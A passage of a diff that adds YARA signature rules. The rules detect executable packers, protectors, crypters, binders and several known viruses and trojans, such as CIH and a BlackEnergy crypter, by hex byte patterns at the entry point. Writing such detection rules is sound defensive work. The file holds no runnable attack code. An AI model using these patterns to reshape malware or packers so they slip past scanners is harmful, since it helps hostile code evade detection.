+	condition:
+			$a0
+	}
+	
+	
+	rule Obsidium1332ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 01 ?? E8 2B 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 01 ?? 58 EB 01 ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 02 ?? ?? E8 3B 27 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule modifiedHACKSTOPv111f
+	{
+	strings:
+			$a0 = { 52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxKuku886
+	{
+	strings:
+			$a0 = { 06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxCIHVersion12TTITWIN95CIH
+	{
+	strings:
+			$a0 = { 55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ShegerdDongleV478MSCo
+	{
+	strings:
+			$a0 = { E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SDProtectRandyLi
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule SmokesCryptv12
+	{
+	strings:
+			$a0 = { 60 B8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8A 14 08 80 F2 ?? 88 14 08 41 83 F9 ?? 75 F1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEncryptv31
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? 00 F0 0F C6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEncryptv30
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RJoiner12byVaska250320071658
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC 0C 02 00 00 8D 85 F4 FD FF FF 56 50 68 04 01 00 00 FF 15 14 10 40 00 90 8D 85 F4 FD FF FF 50 FF 15 10 10 40 00 90 BE 00 20 40 00 90 83 3E FF 0F 84 84 00 00 00 53 57 33 FF 8D 46 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Minke101byCodius
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 ?? ?? ?? ?? ?? 10 E8 7A F6 FF FF BE 68 66 00 10 33 C0 55 68 DB 40 00 10 64 FF 30 64 89 20 E8 FA F8 FF FF BA EC 40 00 10 8B C6 E8 F2 FA FF FF 8B D8 B8 6C 66 00 10 8B 16 E8 88 F2 FF FF B8 6C 66 00 10 E8 76 F2 FF FF 8B D0 8B C3 8B 0E E8 E3 E4 FF FF E8 2A F9 FF FF E8 C1 F8 FF FF B8 6C 66 00 10 8B 16 E8 6D FA FF FF E8 14 F9 FF FF E8 AB F8 FF FF 8B 06 E8 B8 E3 FF FF 8B D8 B8 6C 66 00 10 E8 38 F2 FF FF 8B D3 8B 0E E8 A7 E4 FF ?? ?? ?? ?? C4 FB FF FF E8 E7 F8 FF FF 8B C3 E8 B0 E3 FF FF E8 DB F8 FF FF 33 C0 5A 59 59 64 89 10 68 E2 40 00 10 C3 E9 50 EB FF FF EB F8 5E 5B E8 BB EF FF FF 00 00 00 43 41 31 38 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CrypWrapvxx
+	{
+	strings:
+			$a0 = { E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WarningmaybeSimbyOZpolycryptorby3xpl01tver2xx250320072200
+	{
+	strings:
+			$a0 = { 57 57 8D 7C 24 04 50 B8 00 D0 17 13 AB 58 5F C3 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WARNINGTROJANHuiGeZi
+	{
+	strings:
+			$a0 = { 55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeyodascryptor12emadicius
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule EPv10
+	{
+	strings:
+			$a0 = { 50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule D1S1Gv11betaD1N
+	{
+	strings:
+			$a0 = { 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PROPACKv208
+	{
+	strings:
+			$a0 = { 8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule BlackEnergyDDoSBotCrypter
+	{
+	strings:
+			$a0 = { 55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HACKSTOPv113
+	{
+	strings:
+			$a0 = { 52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeJoiner151GlOFF
+	{
+	strings:
+			$a0 = { 90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8 8F 02 00 00 A3 19 30 40 00 90 87 FF 90 8B 15 09 30 40 00 81 C2 04 01 00 00 F7 DA 6A 02 6A 00 52 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PeXv099EngbartCrackPl
+	{
+	strings:
+			$a0 = { E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HACKSTOPv119
+	{
+	strings:
+			$a0 = { 52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? D6 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HACKSTOPv118
+	{
+	strings:
+			$a0 = { 52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule PKLITEv200b
+	{
+	strings:
+			$a0 = { 50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 2D ?? ?? 8E D0 51 2D ?? ?? 8E C0 50 B9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PKLITEv200c
+	{
+	strings:
+			$a0 = { 50 B8 ?? ?? BA ?? ?? 3B C4 73 ?? 8B C4 2D ?? ?? 25 ?? ?? 8B F8 B9 ?? ?? BE ?? ?? FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeNeolite20emadicius
+	{
+	strings:
+			$a0 = { E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31 39 39 39 20 4E 65 6F 57 6F 72 78 20 49 6E 63 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 31 39 39 39 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 00 00 00 00 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv300v301Relocationspack
+	{
+	strings:
+			$a0 = { BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02CodeSafe20Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02ZCode101Anorganix
+	{
+	strings:
+			$a0 = { E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxCaz1204
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 83 EE 03 1E 06 B8 FF FF CD 2F 3C 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ZealPack10Zeal
+	{
+	strings:
+			$a0 = { C7 45 F4 00 00 40 00 C7 45 F0 ?? ?? ?? ?? 8B 45 F4 05 ?? ?? ?? ?? 89 45 F4 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 F0 7D 22 8B 45 F4 03 45 FC 8A 08 88 4D F8 0F BE 55 F8 83 F2 0F 88 55 F8 8B 45 F4 03 45 FC 8A 4D F8 88 08 EB CD FF 65 F4 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CPAV
+	{
+	strings:
+			$a0 = { E8 ?? ?? 4D 5A B1 01 93 01 00 00 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackFullEdition117iBoxLZMAAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule INCrypter03INinYbyz3e_NiFe
+	{
+	strings:
+			$a0 = { 60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MorphineV27Holy_FatherRatter29A
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 }
+
+	condition:
+			$a0
+	}
+    
+/*    
+	rule MicrosoftVisualCV80Debug
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	
+	rule nBinderv361
+	{
+	strings:
+			$a0 = { 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MatrixDongleTDiGmbH
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 E8 B6 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5B 2B D9 8B F8 8B 4C 24 2C 33 C0 2B CF F2 AA 8B 3C 24 8B 0A 2B CF 89 5C 24 20 80 37 A2 47 49 75 F9 8D 64 24 04 FF 64 24 FC 60 C7 42 08 ?? ?? ?? ?? E8 C5 FF FF FF C3 C2 F7 29 4E 29 5A 29 E6 86 8A 89 63 5C A2 65 E2 A3 A2 }
+	$a1 = { E8 00 00 00 00 E8 00 00 00 00 59 5A 2B CA 2B D1 E8 1A FF FF FF }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftInstallSystemv20RC2
+	{
+	strings:
+			$a0 = { 83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule UnoPiX075BaGiE
+	{
+	strings:
+			$a0 = { 60 E8 07 00 00 00 61 68 ?? ?? 40 00 C3 83 04 24 18 C3 20 83 B8 ED 20 37 EF C6 B9 79 37 9E 61 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4UnextractablePasswordchecking
+	{
+	strings:
+			$a0 = { 03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtBorlandDelphi20
+	{
+	strings:
+			$a0 = { EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Reg2Exe225byJanVorel
+	{
+	strings:
+			$a0 = { 68 68 00 00 00 68 00 00 00 00 68 70 7D 40 00 E8 AE 20 00 00 83 C4 0C 68 00 00 00 00 E8 AF 52 00 00 A3 74 7D 40 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 9C 52 00 00 A3 70 7D 40 00 E8 24 50 00 00 E8 E2 48 00 00 E8 44 34 00 00 E8 54 28 00 00 E8 98 27 00 00 E8 93 20 00 00 68 01 00 00 00 68 D0 7D 40 00 68 00 00 00 00 8B 15 D0 7D 40 00 E8 89 8F 00 00 B8 00 00 10 00 68 01 00 00 00 E8 9A 8F 00 00 FF 35 A4 7F 40 00 68 00 01 00 00 E8 3A 23 00 00 8D 0D A8 7D 40 00 5A E8 5E 1F 00 00 FF 35 A8 7D 40 00 68 00 01 00 00 E8 2A 52 00 00 A3 B4 7D 40 00 FF 35 A4 7F 40 00 FF 35 B4 7D 40 00 FF 35 A8 7D 40 00 E8 5C 0C 00 00 8D 0D A0 7D 40 00 5A E8 26 1F 00 00 FF 35 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+/*	
+	rule StarForceV3XDLLStarForceCopyProtectionSystem
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/	
+	
+	rule Armadillov420SiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DalKrypt10byDalKiT
+	{
+	strings:
+			$a0 = { 68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorv15Vaska
+	{
+	strings:
+			$a0 = { 83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule EXECryptor239compressedresources
+	{
+	strings:
+			$a0 = { 51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00 00 81 ED BB 43 CB 79 C1 E0 1C E9 9E 14 00 00 0B 15 ?? ?? ?? ?? 81 E2 2A 70 7F 49 81 C2 9D 83 12 3B E8 0C 50 00 00 E9 A0 16 00 00 59 5B C3 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 41 42 00 00 E9 93 33 00 00 31 DB 89 D8 59 5B C3 A1 ?? ?? ?? ?? 8A 00 2C 99 E9 82 30 00 00 0F 8A ?? ?? ?? ?? B8 01 00 00 00 31 D2 0F A2 25 FF 0F 00 00 E9 72 21 00 00 0F 86 57 0B 00 00 E9 ?? ?? ?? ?? C1 C0 03 E8 F0 36 00 00 E9 41 0A 00 00 81 F7 B3 6E 85 EA 81 C7 ?? ?? ?? ?? 87 3C 24 E9 74 52 00 00 0F 8E ?? ?? ?? ?? E8 5E 37 00 00 68 B1 74 96 13 5A E9 A1 04 00 00 81 D1 49 C0 12 27 E9 50 4E 00 00 C1 C8 1B 1B C3 81 E1 96 36 E5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule GameGuardv20065xxexesignbyhot_UNP
+	{
+	strings:
+			$a0 = { 31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EnigmaProtectorv112LITE
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule MSLRHv01emadicius
+	{
+	strings:
+			$a0 = { 60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 }
+	$a1 = { 60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Apex_cbeta500mhz
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtector11A12vcasm
+	{
+	strings:
+			$a0 = { 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule codeCrypter031
+	{
+	strings:
+			$a0 = { 50 58 53 5B 90 BB ?? ?? 40 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PKTINYv10withTINYPROGv38
+	{
+	strings:
+			$a0 = { 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? 2E C6 06 ?? ?? ?? E9 ?? ?? E8 ?? ?? 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakePESHiELD2xFEUERRADER
+	{
+	strings:
